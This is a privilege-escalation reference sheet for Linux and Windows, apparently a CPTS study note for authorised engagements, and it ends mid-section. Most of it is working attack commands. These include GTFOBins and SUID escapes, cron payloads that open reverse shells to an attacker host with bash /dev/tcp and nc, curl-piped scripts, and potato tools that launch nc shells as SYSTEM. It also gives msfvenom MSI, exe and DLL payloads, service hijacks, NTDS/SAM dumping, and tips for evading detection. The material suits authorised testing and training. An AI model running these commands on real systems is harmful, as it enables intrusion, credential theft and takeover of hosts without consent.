FLOW ^: Pentest Workflow

Stage 09 — Privilege Escalation

CPTS attack-flow reference for stage 09 — privilege escalation in an authorised engagement.

intermediate updated 2026-08-29 LinPEAS · WinPEAS · pspy · Seatbelt

[!dashboard] Attack-flow navigation Dashboard: HTB Pentest Attack Flow

Section: 12 of 17 · Focus: Stage 09 — Privilege Escalation

Previous: Stage 08 — Password Attacks and Credential Hunting · Next: Stage 10 — Lateral Movement, Pivoting, and Loot


⬆️ STAGE 9 — Privilege Escalation (Linux & Windows)

I’ve got a foothold (web shell, SSH, service account). Goal now: root / NT AUTHORITY\SYSTEM. My loop is always the same — stabilise the shell → auto-enum → chase the reddest finding → re-enum after every priv gain. Automated tools point the way, but I verify manually because they lie and they trip EDR.

[!tip] First thing, every box Fire the auto-enum (linpeas/winpeas) in the background, then work the fast manual wins by hand while it runs: sudo -l + whoami /priv. Nine times out of ten the quick-win beats the linpeas scroll.

[!abstract] Sibling deep-dives Linux full-length checklist: Linux Privilege Escalation — CPTS Cheat Sheet · Windows: Windows Privilege Escalation — CPTS Cheat Sheet · Credentials found here feed back into Stage 08 and forward into Stage 10.


🐧 Linux

0 — Upgrade the TTY first (do this before anything else)

What to look for: tty returns not a tty, no tab-complete, su/ssh die. Fix it now or every later step is misery. Full playbook in TTY Upgrades & Restricted Shells.

# ── [TARGET] spawn a PTY (first one that exists) ──
python3 -c 'import pty; pty.spawn("/bin/bash")'
# no python? →
script -qc /bin/bash /dev/null
# Ctrl+Z to background
# ── [ATTACKER] raw mode + foreground (zsh: MUST be one line) ──
stty raw -echo; fg
# ── [TARGET] fix the terminal ──
reset
export SHELL=bash TERM=xterm-256color
stty rows 50 cols 200   # values from `stty size` locally

[!warning] Watch out On zsh stty raw -echo and fg must be on the same line separated by ; or -echo is lost before fg runs. If I land in rbash/rksh/lshell, treat that restriction separately after stabilizing the terminal; use the ranked breakout matrix in TTY Upgrades & Restricted Shells.

1 — Auto-enum: linpeas + pspy

[!tools] Stage this — Linux enum toolkit Staged in the vault:

linpeas.sh (SHA-256 · GPG signature)

linpeas_linux_amd64 (SHA-256 · GPG signature)

Link-only companions (grab from your attack box): linux-smart-enumeration (lse.sh) — verbose, level-based (-l 1 for the interesting stuff) · LinEnum — older but -t thorough mode still catches cron/NFS oddities · linux-exploit-suggester — kernel/CVE matcher · BeRoot — config-driven privesc checks. Reference: GTFOBins for every binary a check flags.

# ── [ATTACKER] serve tools ──
python3 -m http.server 80   # from dir with linpeas.sh + pspy64
# ── [TARGET] run linpeas straight to memory (no disk artifact) ──
curl http://$LHOST/linpeas.sh | bash
# or drop it and run with all checks
./linpeas.sh -a | tee /tmp/.lp.txt
# static binary variant when the shell script is mangled/blocked:
chmod +x linpeas_linux_amd64 && ./linpeas_linux_amd64
# ── watch cron/root processes live (catches hidden root jobs) ──
./pspy64 -pf -i 1000

[!tip] Read linpeas by colour — RED/YELLOW = 95% a vector. pspy is my secret weapon: it shows root cron jobs and command lines with no root needed, which linpeas can miss. Run both before touching anything else; their output decides which section below you jump to.

[!opsec] OPSEC / detection Piping curl | bash leaves no file but the process args still show in ps//proc and EDR telemetry. linpeas.sh -a is very noisy (hundreds of spawned binaries). On a monitored host prefer targeted manual checks (MITRE T1083 File and Directory Discovery, T1057 Process Discovery are logged everywhere) and run pspy from /dev/shm or /tmp with an innocuous name. Clear /tmp/.lp.txt when done.

2 — sudo -l + GTFOBins (the #1 quick-win)

What to look for: anything I can run as another user, NOPASSWD, or env_keep+=LD_PRELOAD.

sudo -l
# (root) NOPASSWD: /usr/bin/find   → GTFOBins it

Decision table — read sudo -l output:

sudo -l showsWhat it meansFirst move
(ALL : ALL) ALLFull sudo, password neededreuse the foothold password / looted creds (Stage 08)
(root) NOPASSWD: /path/binFree root via one binarycheck the sudo column on GTFOBins for that exact binary
(userX) NOPASSWD: ...Lateral step, not rootbecome userX (sudo -u userX ...), re-run sudo -l — chained hops are common in CPTS
env_keep+=LD_PRELOAD / LD_LIBRARY_PATHLibrary injection survives sudo§F below — compile a root .so
SETENV:I can set arbitrary env varssudo PYTHONPATH=/tmp ..., sudo PATH=..., sudo BASH_ENV=...
sudoedit / -e entryEdit a file as rootcheck CVE-2023-22809 (§I) or GTFOBins sudoedit (shell escape via EDITOR)
!authenticateNo password even without NOPASSWDjust run it
secure_path=...sudo rebuilds PATHPATH hijack against this entry is dead (§A)
nothing / “not allowed”No sudo rightsmove on; check sudo version CVEs (§I)
# ── GTFOBins sudo escapes (match the binary you're allowed) ──
sudo find . -exec /bin/bash \; -quit
sudo vim -c ':!/bin/bash'
sudo awk 'BEGIN {system("/bin/bash")}'
sudo env /bin/bash
sudo nmap --interactive    # legacy nmap 2.x–5.x only, then: !sh
sudo tcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z /tmp/.x -Z root  # -z runs script as root
# ── "shell escape sequence" family (man/less/more/git/journalctl pagers) ──
sudo man man      # then: !/bin/bash
sudo less /etc/hosts    # then: !/bin/bash
sudo git -p help config # then: !/bin/bash
# ── env_keep LD_PRELOAD ──
gcc -fPIC -shared -o /tmp/root.so shell.c -nostartfiles   # _init(){setuid(0);system("/bin/bash");}
sudo LD_PRELOAD=/tmp/root.so <allowed_command>

[!warning] Watch out sudo version < 1.8.28? Check CVE-2019-14287 (sudo -u#-1) and Baron Samedit CVE-2021-3156 (heap overflow, works even with no sudo rights). Always check the GTFOBins entry for the exact binary — a lot of them need a specific invocation to keep the euid. And remember: a sudo grant for a script (/opt/backup.sh) is only as strong as the script’s writability — check ls -l on the target file, not just the grant.

[!opsec] OPSEC — sudo abuse Every sudo invocation writes to /var/log/auth.log (or journald) with the full command line — GTFOBins escapes are unmistakable in log review. On monitored boxes, prefer vectors that don’t touch sudo at all (capabilities, writable cron targets, NFS), and clean up dropped SUID shells (/tmp/rootbash) immediately after establishing a steadier root channel.

3 — SUID / SGID binaries

find / -user root -perm -4000 -exec ls -ldb {} \; 2>/dev/null   # SUID
find / -user root -perm -6000 -exec ls -ldb {} \; 2>/dev/null   # SETGID
# quick triage: anything NOT in the standard set is interesting
# ── abuse a SUID binary → keep root euid with -p (see GTFOBins "suid" column) ──
/usr/bin/env /bin/bash -p
find . -exec /bin/bash -p \; -quit
python3 -c 'import os; os.execvp("/bin/bash", ["bash", "-p"])'

[!warning] Watch out A non-standard SUID binary (custom app, weird path) is a screaming vector — check the SUID column on GTFOBins, and if it calls another binary by bare name, hijack it via PATH (§A). bash drops SUID unless you pass -p. Pitfall: SUID bits are ignored on filesystems mounted nosuid (common for /tmp, NFS) — a planted SUID shell there does nothing.

4 — Capabilities

getcap -r / 2>/dev/null
# cap_setuid+ep on python/perl → instant root

Capability → escalation map:

CapabilitySeen onEscalation
cap_setuid+eppython, perl, ruby, phpos.setuid(0) → shell (below)
cap_dac_read_search+eptar, cat, some backup toolsread any file → /etc/shadow, root’s SSH keys (§8)
cap_dac_override+epvim.basic, cpwrite any file → edit /etc/passwd (§E)
cap_sys_admin+epmount abuse: mount -o bind the host FS, effectively root
cap_sys_ptrace+epgdb, pythoninject into / steal the memory of a root process (T1055)
cap_sys_module+epinsmodload a malicious kernel module
cap_chown, cap_fownertake ownership of /etc/shadow or a root script, then rewrite it
# cap_setuid=ep example
python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
# perl with cap_setuid
perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/bash";'
# cap_dac_read_search on tar → exfil /etc/shadow
tar -cf /tmp/sh.tar /etc/shadow && tar -xf /tmp/sh.tar -C /tmp

5 — Cron jobs, pspy & writable scripts

[!tools] Stage this — process/cron monitoring pspy64 (SHA-256 · GPG signature)

pspy32 (SHA-256 · GPG signature)

Run unprivileged; watches /proc for every process spawn (root’s included) with full command lines. -pf prints filesystem events, -i 1000 polls every second. Match 32 vs 64-bit with uname -m before uploading.

cat /etc/crontab; ls -la /etc/cron.*/ /var/spool/cron/
# pspy confirms what actually fires as root and how often
# ── writable script run by root cron → append reverse shell ──
echo 'bash -i >& /dev/tcp/'$LHOST'/443 0>&1' >> /path/to/root_cron_script.sh
# ── writable cron PATH: cron's PATH is set inside /etc/crontab; if a dir in it is
#    writable AND the job calls a binary by relative name → drop a same-named payload ──
grep '^PATH' /etc/crontab; ls -ld <each_dir_on_that_PATH>
# ── or wildcard injection (tar/rsync in a root cron over a dir I write to) ──
echo 'mkfifo /tmp/f; nc '$LHOST' 443 0</tmp/f | /bin/sh >/tmp/f 2>&1' > shell.sh
touch './--checkpoint=1'; touch './--checkpoint-action=exec=sh shell.sh'

[!tip] Confirm the job is live with pspy64 -pf before planting payloads — a backup script that fires daily at 03:00 is a 20-hour wait; one firing every minute is a win now. Cron PATH hijack and wildcard injection mechanics: §A and §B below. MITRE T1053.003.

[!warning] Writable cron paths are the subtle variant The crontab itself can be root-locked while the target of the job is writable: the script file, the directory the script lives in (rename-and-replace), a binary the script calls by relative name, or a glob directory it operates on (§B). Check each link of the chain with ls -l / namei -l /full/path/to/script.shnamei shows perms on every component at once. In CPTS labs the writable-directory-not-file pattern is a favourite.

6 — Writable PATH, world-writable files, NFS, containers & disk groups

echo $PATH
find / -path /proc -prune -o -type f -perm -o+w -print 2>/dev/null   # world-writable files
find / -path /proc -prune -o -type d -perm -o+w -print 2>/dev/null   # ...and dirs
showmount -e $IP                                                     # NFS exports
id                                                                   # lxd? docker? disk? adm? → group-based escape
# ── PATH hijack a root-run binary that calls e.g. `service` by relative name ──
PATH=.:${PATH}; echo -e '#!/bin/bash\ncp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash' > service; chmod +x service
# ── NFS no_root_squash → drop a SUID root shell from attacker box (full chain §C) ──
sudo mount -t nfs $IP:/tmp /mnt && cp /bin/bash /mnt/x && chmod +s /mnt/x   # then /tmp/x -p on target
# ── docker group → host FS in a throwaway container (full chain §D) ──
docker run -v /:/mnt --rm -it ubuntu chroot /mnt sh
# ── LXD group → mount host / inside a privileged container ──
lxc image import alpine.tar.gz --alias alpine
lxc init alpine r00t -c security.privileged=true
lxc config device add r00t mydev disk source=/ path=/mnt/root recursive=true
lxc start r00t; lxc exec r00t /bin/sh   # host fs under /mnt/root
# ── disk group → raw block-device access (read /etc/shadow, write a SUID) ──
debugfs -w /dev/sda1     # debugfs> cat /root/.ssh/id_rsa   (or: dump, write)
# ── adm group → read /var/log: creds & tokens leaked into logs ──
grep -riE 'passw|token|secret' /var/log 2>/dev/null
# ── lxc group (unprivileged variant) → same trick, use security.privileged=false + idmap, or /etc/subuid abuse ──

Linux quick-triage table — finding → first move:

Finding (linpeas/manual)SectionFirst move
sudo -l grants a binary§2GTFOBins sudo entry for that exact binary
Non-standard SUID§3GTFOBins suid column; strings for bare-name calls (→ §A PATH hijack)
cap_setuid/cap_dac_*/cap_sys_admin§4capability map table → setuid/read/write as root
Root cron + writable script/dir§5append payload, or wildcard-inject (§B)
PATH=… writable dir in cron’s PATH§5/§Aplant same-named binary
no_root_squash export§CSUID shell staged as attacker-root
docker/lxd/lxc/disk/adm group§6/§D/§Jcontainer mount / debugfs / log loot
Writable /etc/passwd/shadow/sudoers§Einline-hash UID-0 user
Writable systemd unit / timer§HExecStart revshell + daemon-reload
Old kernel/sudo/pkexec, nothing else§7/§Ilogic bugs first: PwnKit → Baron Samedit → Dirty Pipe/COW last
Readable id_rsa / root tmux socket§8/§9direct key reuse / socket attach

7 — Kernel exploits (last resort)

What to look for: old kernel + no other path. Kernel exploits can panic the box — I try everything else first.

uname -a; cat /etc/os-release; cat /etc/lsb-release 2>/dev/null   # kernel + distro
sudo -V | head -1                                                  # sudo version for §I CVEs
# match with linux-exploit-suggester (link-only) or searchsploit linux kernel <ver>
gcc kernel_exploit.c -o kx && ./kx    # compile ON-target for glibc match

[!danger] Kernel exploit caution Memory-corruption kernel exploits (Dirty COW CVE-2016-5195 < 4.8.3, Dirty Pipe CVE-2022-0847 kernels 5.8–5.16.11, OverlayFS/Ubuntu CVEs) can panic or hang the target — catastrophic on a real engagement, and in a lab it can force a reset that wipes your planted artifacts. Rules of engagement: (1) exhaust every misconfiguration first, (2) snapshot/backup if you can, (3) prefer logic bugs over memory corruption — PwnKit CVE-2021-4034 (pkexec, near-universal pre-2022, rarely crashes) and sudo Baron Samedit CVE-2021-3156 are logic-class and far safer, (4) document exploit name + CVE + outcome for the report (client stability is a finding too). Detection: new SUID files / unexpected root shells are the classic post-exploitation artifacts a blue team hunts (T1068 Exploitation for Privilege Escalation).

[!warning] Watch out PwnKit (CVE-2021-4034) is near-universal on anything with pkexec and rarely crashes — try it before any memory-corruption kernel exploit. Compile on the target, not your Kali, or glibc mismatches will segfault it. Full command index: Linux Privilege Escalation Cheat Sheet.

8 — SSH key looting & reuse

What to look for: readable private keys, known_hosts targets, agent sockets — they turn a single-host foothold into lateral root without any exploit.

ls -la /home/*/.ssh/ /root/.ssh/ 2>/dev/null
find / -name id_rsa -o -name id_ed25519 -o -name id_ecdsa 2>/dev/null | grep -v ^/proc
cat /home/*/.ssh/known_hosts /home/*/.ssh/authorized_keys 2>/dev/null   # where do they SSH to/from?
cat ~/.ssh/config 2>/dev/null                                          # jump hosts, custom ports
# ── [ATTACKER] fix perms and reuse ──
chmod 600 looted_id_rsa
ssh -i looted_id_rsa user@$IP          # same box, higher user? root@? pivot host from known_hosts?
# ── root's key readable via cap_dac_read_search / disk group / backup job → same path ──
# ── ssh-agent socket hijack (if I share a box with a root session or find root's env) ──
SSH_AUTH_SOCK=/tmp/ssh-XXXX/agent.PID ssh-add -l

[!tip] Keys found as a low user often belong to root or a deploy/admin account — always try ssh -i key root@$IP locally first (fast, no network noise), then every host in known_hosts. Passphrase-protected key? ssh2john key > hash → hashcat -m 22921 (see Stage 08). MITRE T1552.004.

9 — tmux / screen session hijack

What to look for: a root-owned tmux/screen socket that’s group-writable, or a screen session left detached with sloppy permissions. Attaching inherits the running shell — zero exploit code.

ps aux | grep -E 'tmux|screen' | grep -v grep     # root sessions?
ls -la /tmp/tmux-* /run/screen/* 2>/dev/null      # socket dirs + perms
# group-writable root socket (e.g. srw-rw---- root devs, and I'm in devs):
tmux -S /shareds                                  # straight into root's live shell
# screen equivalent: find the session dir, then
screen -x root/                                   # attach multi-display to root's session

[!note] This also works horizontally: a dev user’s live tmux gives you their full context (history, agent, sudo session). Don’t kill the session — tmux -S sock attach read-only (-r) first if you just want to loot scrollback. Related socket/group tricks: §J below.

10 — Service-level vectors: MySQL UDF · polkit · logrotate · systemd

What to look for: mysql running as root with a known credential, an interactive polkit-reachable service, writable log dirs + old logrotate, writable systemd units.

# ── MySQL running as ROOT + I have creds → UDF command execution as root ──
ps aux | grep mysql | grep -v grep          # user=root?
mysql -u root -p -e 'select @@plugin_dir, @@version_compile_os;'
# drop a UDF .so (lib_mysqludf_sys) into @@plugin_dir, then:
#   CREATE FUNCTION sys_exec RETURNS int SONAME 'lib_mysqludf_sys.so';
#   SELECT sys_exec('chmod +s /bin/bash');
# ── polkit: can I reach pkexec/polkit actions? (separate from PwnKit the CVE) ──
pkexec --version; pkaction | head
# polkit < 0.119 on RHEL/CentOS 7-era boxes → CVE-2021-3560 (accountsservice race → add root user)
# ── logrotate: writable log dir + logrotate 3.8.6/3.11.0/3.15.0/3.18.0 → logrotten race ──
logrotate --version; ls -ld /var/log/<app>   # writable log + create-only-if-missing config
# ── systemd: writable unit / ExecStart target / sudo systemctl → §H below ──
systemctl list-timers --all

[!warning] Watch out MySQL UDF needs secure_file_priv empty or pointing at a writable plugin dir and FILE privilege on mysql — check SHOW GRANTS. CVE-2021-3560 is a race: expect several attempts, and it creates a user — clean it up afterward. systemd unit abuse and logrotten details: §H below.


🪟 Windows

1 — Auto-enum + the two commands that matter

[!tools] Stage this — Windows enum toolkit Staged in the vault:

winPEASx64.exe (SHA-256 · GPG signature)

winPEASany.exe (SHA-256 · GPG signature)

PrivescCheck.ps1 (SHA-256 · GPG signature)

jaws-enum.ps1 (SHA-256 · GPG signature)

Seatbelt.exe (SHA-256 · GPG signature)

SharpUp.exe (SHA-256 · GPG signature)

PowerUp.ps1 (SHA-256 · GPG signature)

Link-only companions: Watson / Sherlock (legacy missing-patch suggesters) · WES-NG and Windows-Exploit-Suggesteroffline diff: run systeminfo on the target, feed the output to the suggester on your attack box (wesng systeminfo.txt), and it maps missing patches → known privesc CVEs without touching the target again.

What to look for: whoami /priv for SeImpersonate; whoami /groups for privileged groups. Deep dives: Windows PrivEsc Cheat Sheet and Implementation Roadmap Strategic Workflow for Windows Privilege Escalation.

# ── the fast manual checks (do these by hand immediately) ──
whoami /priv
whoami /groups
whoami /all
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" /C:"Hotfix"   # feed WES-NG offline
:: ── stage tools to C:\Windows\Temp (Users can write there) ──
certutil.exe -urlcache -split -f http://%LHOST%/winPEASx64.exe C:\Windows\Temp\wp.exe
C:\Windows\Temp\wp.exe > C:\Windows\Temp\wp.txt
:: ── stealthier .NET options ──
.\SharpUp.exe audit
.\Seatbelt.exe -group=all
# ── PrivescCheck (PowerShell, itm4n — thorough + low FP, Extended mode) ──
. .\PrivescCheck.ps1; Invoke-PrivescCheck -Extended
# ── JAWS (pure PowerShell, older boxes / no AV) ──
powershell.exe -ExecutionPolicy Bypass -File .\jaws-enum.ps1 -OutputFileName jaws.txt
# ── PowerUp (import + all checks; has auto-exploit functions) ──
Import-Module .\PowerUp.ps1; Invoke-AllChecks

[!warning] Watch out winPEAS is flagged by 50+ AV engines and Defender blocks it by default — on a monitored box use the .bat variant, SharpUp/Seatbelt (compiled .NET dodges AMSI), PrivescCheck via IEX cradle, or just do it manually. Even a “Disabled” privilege in whoami /priv means the account has it; it just needs enabling.

2 — whoami /priv interpretation table

Every privilege listed — even Disabled — is assigned to my token and can be enabled in-session. Map priv → technique before running anything:

Privilege (whoami /priv)Buys meTechnique / tool
SeImpersonatePrivilegesteal any connecting client’s tokenpotato family (§3) — most common service-account win
SeAssignPrimaryTokenPrivilegeassign a token to a new processpotato with -t * variant / direct CreateProcessAsUser
SeDebugPrivilegeopen any process (incl. SYSTEM/LSASS)procdump/comsvcs LSASS dump, or token steal via psgetsys (deep section)
SeBackupPrivilegeread any file ignoring DACLsrobocopy /B hive/NTDS theft → secretsdump (deep section)
SeRestorePrivilegewrite any file, change ownership/ACLs, load hivesoverwrite a SYSTEM service binary, reg load/restore tricks
SeTakeOwnershipPrivilegeWRITE_OWNER on any objecttakeown + icacls /grant → read protected files (deep section)
SeLoadDriverPrivilegeload kernel driversBYOVD: EoPLoadDriver + Capcom.sys (Print Operators §)
SeManageVolumePrivilegevolume-level ops → full-control ACL on C:\SeManageVolumeExploit → DLL hijack chain (deep section)
SeCreateTokenPrivilegeforge arbitrary tokenscreate a SYSTEM token directly (rare)
SeTcbPrivilegeact as part of the OStoken manipulation → SYSTEM (rare, juicy)
SeEnableDelegationPrivilegeset delegation on accounts/computersAD abuse — constrained delegation path (Stage 06 territory)
SeShutdownPrivilege etc.not escalation; ignore noise

[!note] No native cmdlet flips a Disabled priv on — use a scripted AdjustTokenPrivileges helper (EnableAllTokenPrivs, Enable-Privilege.ps1) or the attack tool’s built-in self-enable. MITRE T1134 Access Token Manipulation.

3 — SeImpersonatePrivilege → Potato → SYSTEM

What to look for: SeImpersonatePrivilege Enabled — standard on IIS AppPool, MSSQL, NETWORK SERVICE, LOCAL SERVICE. This is the most common quick-win on service-account footholds. Full breakdown: 🟣 Attack.

[!tools] Stage this — potato family PrintSpoofer64.exe (SHA-256 · GPG signature)

GodPotato-NET4.exe (SHA-256 · GPG signature)

GodPotato-NET35.exe (SHA-256 · GPG signature)

JuicyPotato.exe (SHA-256 · GPG signature)

SweetPotato.exe (SHA-256 · GPG signature)

Link-only: RoguePotato (needs fake OXID resolver + port-forward on 135) · JuicyPotatoNG (DCOM revived for newer builds) · SharpEfsPotato (C#, EFS-RPC coercion).

Decision table — pick by requirement, not by habit:

ToolRequirementWorks onNotes
PrintSpoofer64.exePrint Spooler runningall builds incl. 2019/2022fast, clean, interactive -i; dead if Spooler disabled (common post-PrintNightmare)
GodPotato-NET4 / -NET35matching .NET version installedServer 2012–2022, Win8–11works with Spooler OFF — the broad default; pick NET35 vs NET4 by what’s on the box
JuicyPotato.exevalid CLSID list for the OSpre-Server 2019 / Win10 <1809Microsoft killed the DCOM path on 2019+/1809+; also covers SeAssignPrimaryToken with -t *
SweetPotato.exe.NET 4.xbroadcombo: PrintSpoofer + EfsRpc + Rotten auto-fallback in one binary
RoguePotato (link)fake OXID resolver reachable on 135 (socat port-fwd)Spooler-off boxesneeds the redirector; use when outbound 135 to attacker is possible
JuicyPotatoNG (link).NET 4.x, local interactivenewer builds-t * CreateProcessWithToken; pairs with PrintSpoofer-style add-user
SharpEfsPotato (link)EFS-RPC reachablebroad, C# (memory-only friendly)executes inline; good when dropping EXEs is blocked
whoami /priv | findstr /i "Impersonate AssignPrimaryToken"
[System.Environment]::OSVersion.Version   # pick the right potato
sc query Spooler                          # up? PrintSpoofer viable
# .NET version decides GodPotato variant:
reg query "HKLM\SOFTWARE\Microsoft\NET Framework Setup\NDP\v4\Full" /v Release
# Release >= 378389 → .NET 4.5+ present → GodPotato-NET4; older/legacy → -NET35
# ── GodPotato: broadest compatibility (Server 2012–2022, Win8–11) ──
.\GodPotato-NET4.exe -cmd "cmd /c whoami"
.\GodPotato-NET4.exe -cmd "cmd /c net user hacker P@ssword123! /add && net localgroup Administrators hacker /add"
.\GodPotato-NET4.exe -cmd "cmd /c C:\Temp\nc64.exe %LHOST% 443 -e cmd.exe"

# ── PrintSpoofer: fast/clean, needs Print Spooler ──
sc query Spooler
.\PrintSpoofer64.exe -i -c cmd                       # interactive SYSTEM
.\PrintSpoofer64.exe -c "C:\Temp\nc64.exe %LHOST% 443 -e cmd.exe"

# ── JuicyPotato: legacy builds only ──
.\JuicyPotato.exe -l 53375 -p c:\windows\system32\cmd.exe -a "/c C:\Temp\nc64.exe %LHOST% 443 -e cmd.exe" -t *

# ── SweetPotato: auto-fallback combo ──
.\SweetPotato.exe -a "cmd /c C:\Temp\nc64.exe %LHOST% 443 -e cmd.exe"
# Connect to the MSSQL foothold from Linux.
impacket-mssqlclient "$U":"$P"@$IP -windows-auth
# Commands entered at the mssqlclient SQL prompt.
SQL> enable_xp_cmdshell
SQL> xp_cmdshell whoami /priv
SQL> xp_cmdshell certutil -urlcache -f http://$LHOST/GodPotato-NET4.exe C:\Temp\gp.exe
SQL> xp_cmdshell C:\Temp\gp.exe -cmd "cmd /c net localgroup administrators $U /add"

[!warning] Watch out JuicyPotato is dead on Server 2019+ / Win10 1809+ (Microsoft killed the DCOM path) — reach for GodPotato or PrintSpoofer there. If Print Spooler is disabled, PrintSpoofer won’t fire; GodPotato doesn’t need it. The potato itself is quiet — the SYSTEM cmd/powershell spawned from w3wp.exe/sqlservr.exe (Event 4688) is the loud part.

4 — AlwaysInstallElevated

:: ── BOTH keys must be 0x1 ──
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
# ── [ATTACKER] build a SYSTEM MSI ──
msfvenom -p windows/x64/shell_reverse_tcp LHOST=$LHOST LPORT=443 -f msi -o evil.msi
:: ── [TARGET] install silently → SYSTEM shell ──
msiexec /quiet /qn /norestart /i C:\Windows\Temp\evil.msi
:: or PowerUp's user-add MSI
Import-Module .\PowerUp.ps1; Write-UserAddMSI

[!note] Loud but reliable: MSI install writes Event 11707 (MsiInstaller) and the service/executable artifacts land under C:\Program Files. Remove the installed product (msiexec /x) after proving the path. MITRE T1548.002.

5 — Unquoted service path

wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "c:\windows\\" | findstr /i /v """
icacls "C:\Program Files\Some Folder\"    :: can I write an intermediate dir?
msfvenom -p windows/x64/shell_reverse_tcp LHOST=$LHOST LPORT=443 -f exe -o Some.exe
copy Some.exe "C:\Program Files\Some.exe"
sc stop VulnSvc & sc start VulnSvc

[!warning] Watch out Unquoted paths are commonly found but rarely exploitable — writing to C:\ or C:\Program Files needs admin, and I usually can’t restart the service (wait for reboot). Report it, but don’t hang the whole box on it. Weak service perms below are the real win.

6 — Weak service perms (binary / DACL / registry)

What to look for: SERVICE_CHANGE_CONFIG / SERVICE_ALL_ACCESS for my user, a writable service .exe, or a writable service registry key.

:: modifiable services / binaries
accesschk.exe /accepteula -uwcqv "Authenticated Users" *
accesschk.exe /accepteula -uwcqv "Users" *
accesschk.exe /accepteula -quvcw VulnSvc
icacls "C:\Program Files\VulnApp\service.exe"
accesschk.exe /accepteula "%USERNAME%" -kvuqsw hklm\System\CurrentControlSet\Services
:: ── (a) weak service DACL: read the SDDL, then reconfigure binpath ──
sc sdshow VulnSvc                                    :: D: A;;CCLCSWRPWPDTLOCRRC;;;SY ... look for your SID/group with RPWP
sc config VulnSvc binpath= "cmd /c net localgroup administrators %USERNAME% /add"
sc stop VulnSvc & sc start VulnSvc
net localgroup administrators
:: cleanup: restore original binpath (and SDDL if changed: sc sdset VulnSvc "D:(...)")
sc config VulnSvc binpath= "C:\Program Files\VulnApp\service.exe"

:: ── (b) writable binary → replace it ──
copy /Y C:\Windows\Temp\payload.exe "C:\Program Files\VulnApp\service.exe"
sc stop VulnSvc & sc start VulnSvc
# ── (c) writable registry ImagePath ──
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\VulnSvc" -Name ImagePath -Value "C:\Windows\Temp\payload.exe"
Restart-Service VulnSvc

[!tip] The service will “fail to start” — that’s fine, the command already ran as LocalSystem. Always revert the binpath afterward or you break the service and leave a loud artifact (Event 7045 new/changed service, 4657 registry change). MITRE T1543.003 / T1574.

[!opsec] OPSEC / detection — service abuse sc config / sdset changes are written to the registry under HKLM\SYSTEM\CurrentControlSet\Services\<svc> and logged (Sysmon 13, 4657, 7045 on start). Prefer: (1) record the original binpath/SDDL (sc qc, sc sdshow) before touching anything, (2) use the cmd /c <one-shot> binpath form so no binary is dropped, (3) restore immediately after the callback lands, (4) if the box is monitored, consider the writable-binary variant instead — replacing an existing EXE leaves no service-config event at all (but does trip file-integrity/AV scans).

DLL search-order table (for the DLL-hijack deep dive below — Safe DLL Search Mode ON, the default):

#Location searchedAbusable when
1Application’s own directoryapp folder writable by me → drop the DLL here (the classic)
2C:\Windows\System32admin-only (or via SeManageVolume/SeRestore write)
3C:\Windows\Systemadmin-only
4C:\Windowsadmin-only
5Current working directorypushed low by Safe DLL Search; abusable via writable CWD + relative launch
6PATH directories (in order)a user-writable dir sits on the SYSTEM PATH → plant DLL (T1574.001)

7 — Credential hunting: autologon, unattend, cmdkey, history

Quick local sweep here — the full playbook (SYSVOL cpassword, DPAPI, KeePass, browser stores, config files) lives in Stage 08 — Password Attacks and Credential Hunting.

:: ── plaintext autologon creds ──
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"  :: DefaultUserName/DefaultPassword
:: ── unattended-install leftovers (cleartext or Base64 creds) ──
where /R C:\ unattend.xml
type C:\Windows\Panther\unattend.xml
type C:\Windows\System32\Sysprep\sysprep.xml
:: ── saved creds → runas ──
cmdkey /list
runas /savecred /user:%USERDOMAIN%\Administrator "cmd.exe /c C:\Windows\Temp\nc64.exe %LHOST% 443 -e cmd.exe"
:: ── config-file sweep ──
findstr /SIM /C:"password" *.txt *.ini *.cfg *.config *.xml
# ── PowerShell history (all users), then spray reuse everywhere ──
foreach($u in (ls C:\users).fullname){cat "$u\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt" -ErrorAction SilentlyContinue}

[!note] Password reuse is rampant — any credential I find (history file, Sticky Notes, web.config) gets sprayed across every reachable host. Re-enumerate after every priv gain: files readable as admin that weren’t readable before often hold the domain keys.

8 — AD privileged-group abuse (on/against a DC)

What to look for: whoami /groups showing Backup Operators, Server Operators, Print Operators, DnsAdmins, or Account Operators. Each is a direct or near-direct path to DC/SYSTEM.

whoami /groups | findstr /i "Backup Server Print DnsAdmins Account"

Backup OperatorsSeBackup/SeRestore read any file → grab NTDS + SYSTEM → offline hashes (🟣 Attack):

whoami /priv                                   # SeBackupPrivilege / SeRestorePrivilege
robocopy /B C:\Windows\NTDS C:\Temp ntds.dit   # backup-mode copy bypasses the lock/ACL
reg save HKLM\SYSTEM C:\Temp\SYSTEM
# remote, no logon needed:
reg.py "$DOMAIN/$U:$P"@$DC save -keyName 'HKLM\SAM' -o SAM
reg.py "$DOMAIN/$U:$P"@$DC save -keyName 'HKLM\SYSTEM' -o SYSTEM
secretsdump.py -ntds ntds.dit -system SYSTEM LOCAL

Server Operators — can manage services on the DC → make one run as SYSTEM (🟣 Attack):

sc.exe \\%COMPUTERNAME% query type=own | findstr SERVICE_NAME
sc.exe \\DC01 config VSS binPath= "cmd.exe /c net localgroup Administrators %USERNAME% /add"
sc.exe \\DC01 stop VSS & sc.exe \\DC01 start VSS

Print OperatorsSeLoadDriverPrivilege → load a vulnerable driver (🟣 Attack):

whoami /priv                                          :: SeLoadDriverPrivilege Enabled
EoPLoadDriver.exe System\CurrentControlSet\MyDriver C:\Tools\Capcom.sys
ExploitCapcom.exe                                     :: SYSTEM shell (BYOVD on modern builds)

DnsAdmins — DNS runs as SYSTEM; load a plugin DLL (🟣 Attack):

msfvenom -p windows/x64/exec cmd='net group "domain admins" '"$U"' /add /domain' -f dll -o evil.dll
smbserver.py share /path/to/dll/ -smb2support
dnscmd $DC /config /serverlevelplugindll \\$LHOST\share\evil.dll
sc \\$DC stop dns; sc \\$DC start dns          # DLL executes as SYSTEM
# CLEANUP immediately or DNS stays broken:
